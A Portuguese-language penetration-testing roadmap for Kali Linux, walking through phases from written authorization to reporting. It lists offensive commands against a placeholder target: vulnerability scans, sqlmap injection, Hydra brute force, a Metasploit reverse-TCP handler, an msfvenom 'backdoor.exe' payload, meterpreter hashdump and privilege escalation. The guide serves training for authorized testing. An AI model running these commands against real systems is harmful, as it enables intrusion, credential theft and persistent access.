Roteiro de Teste de Penetração com Kali Linux

Preparação

Obter Autorização:

Descrição: Antes de iniciar qualquer teste, é crucial obter permissão escrita do proprietário dos sistemas que serão testados. Isso garante que você tenha autorização legal para realizar o teste e evita problemas legais.

Configurar o Ambiente:

Descrição: Atualize seu sistema Kali Linux e instale quaisquer ferramentas adicionais que possam ser necessárias.

Comando:

```
bash

sudo apt update && sudo apt upgrade -y
```

Instalar ferramentas adicionais:

```
bash

sudo apt install -y nmap metasploit-framework sqlmap
hydra john
```

Reconhecimento (Reconnaissance)

Informação Passiva:

Descrição: Coleta de informações sem interagir diretamente com o alvo. Usando fontes públicas e técnicas de pesquisa.

Whois: Coleta informações sobre o domínio, como dados do registrante e servidores de nomes.

```
bash

whois alvo.com
```

DNS Enumeration: Descobre subdomínios e registros DNS associados ao domínio.

```
bash
```

```
dnsenum alvo.com
```

Buscas de informações públicas (Google Dorking): Utiliza operadores de pesquisa avançada para encontrar informações sensíveis.

```
bash

site:alvo.com inurl:admin
```

Informação Ativa:

Descrição: Coleta de informações interagindo diretamente com o sistema alvo, como verificações de rede e mapeamento de rotas.

Ping: Verifica se o alvo está ativo e mede a latência.

```
bash

ping -c 4 alvo.com
```

Traceroute: Mapeia o caminho que os pacotes percorrem até o alvo, identificando roteadores intermediários.

```
bash

traceroute alvo.com
```

Varredura (Scanning)

Varredura de Portas com Nmap:

Descrição: Identifica portas abertas e os serviços em execução no sistema alvo.

Varredura rápida:

```
bash

nmap -sS -T4 alvo.com
```

Varredura completa com detecção de versão: Identifica versões dos serviços em execução para detectar possíveis vulnerabilidades.

```
bash

nmap -A -T4 alvo.com
```

Varredura de Vulnerabilidades:

Descrição: Busca por vulnerabilidades conhecidas nos serviços identificados.

Nmap Scripts: Utiliza scripts do Nmap para detectar vulnerabilidades específicas.

```
bash

nmap --script=vuln alvo.com
```

Nikto (Varredura de vulnerabilidades web): Verifica a existência de vulnerabilidades em servidores web.

```
bash

nikto -h alvo.com
```

Enumeração (Enumeration)

Enumeração de Serviços e Recursos:

Descrição: Coleta informações detalhadas sobre serviços e recursos disponíveis no sistema alvo.

Enumeração de SMB: Identifica compartilhamentos e informações de rede do Windows.

```
bash

enum4linux -a alvo.com
```

Enumeração de SNMP: Coleta informações de gerenciamento de rede usando o protocolo SNMP.

```
bash

snmpwalk -v 2c -c public alvo.com
```

Enumeração Web:

Descrição: Descobre diretórios, arquivos e outros recursos em servidores web.

Dirb (Brute-force de diretórios web): Utiliza dicionáro de palavras para descobrir diretórios e arquivos escondidos.

```
bash

dirb http://alvo.com
```

Gobuster: Outra ferramenta para brute-force de diretórios web.

```
bash

gobuster dir -u http://alvo.com -w
/usr/share/wordlists/dirb/common.txt
```

Exploração (Exploitation)

Exploração de Vulnerabilidades Conhecidas:

Descrição: Utiliza exploits para tirar proveito de vulnerabilidades conhecidas e ganhar acesso ao sistema.

Metasploit: Ferramenta poderosa para exploração e pós-exploração.

```
bash

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT your_port
exploit
```

SQL Injection com Sqlmap: Explora vulnerabilidades de injeção SQL para obter acesso ao banco de dados.

```
bash

sqlmap -u "http://alvo.com/vulnerable.php?id=1" --dbs
```

Força Bruta e Ataques de Senhas:

Descrição: Tentativas repetidas de adivinhar senhas ou credenciais de login.

Hydra (Força bruta de login): Realiza ataques de força bruta contra serviços de login.

```
bash

hydra -l admin -P /usr/share/wordlists/rockyou.txt
alvo.com http-post-form
"/login.php:user=^USER^&pass=^PASS^:F=incorrect"
```

John the Ripper (Quebra de hashes): Quebra hashes de senha usando técnicas de força bruta ou dicionário.

```
bash

john --wordlist=/usr/share/wordlists/rockyou.txt
hashfile.txt
```

Pós-Exploitação (Post-Exploitation)

Coleta de Informações e Persistência:

Descrição: Uma vez dentro do sistema, coleta informações sensíveis e estabelece persistência para manter o acesso.

Meterpreter (Coleta de informações): Ferramenta de pós-exploração do Metasploit.

```
bash

meterpreter > sysinfo
meterpreter > hashdump
```

Criação de backdoors: Cria backdoors para manter o acesso ao sistema.

```
bash

msfvenom -p windows/meterpreter/reverse_tcp
LHOST=your_ip LPORT=your_port -f exe > backdoor.exe
```

Movimento Lateral e Elevação de Privilégios:

Descrição: Movimenta-se lateralmente dentro da rede e tenta elevar privilégios para obter acesso mais profundo.

Busca por vulnerabilidades locais: Procura por vulnerabilidades locais que permitam elevação de privilégio.

```
bash

searchsploit windows local
```

Exploits de elevação de privilégio: Utiliza exploits para obter privilégios administrativos.

```
bash

use exploit/windows/local/ms10_092_schelevator
```

Relatório (Reporting)

Documentação dos Resultados:

Descrição: Documenta todas as etapas realizadas, ferramentas utilizadas e resultados encontrados. Inclui capturas de tela e descrições detalhadas.

Análise de Riscos e Recomendações:

Descrição: Avalia os riscos associados às vulnerabilidades encontradas e fornece recomendações para mitigação.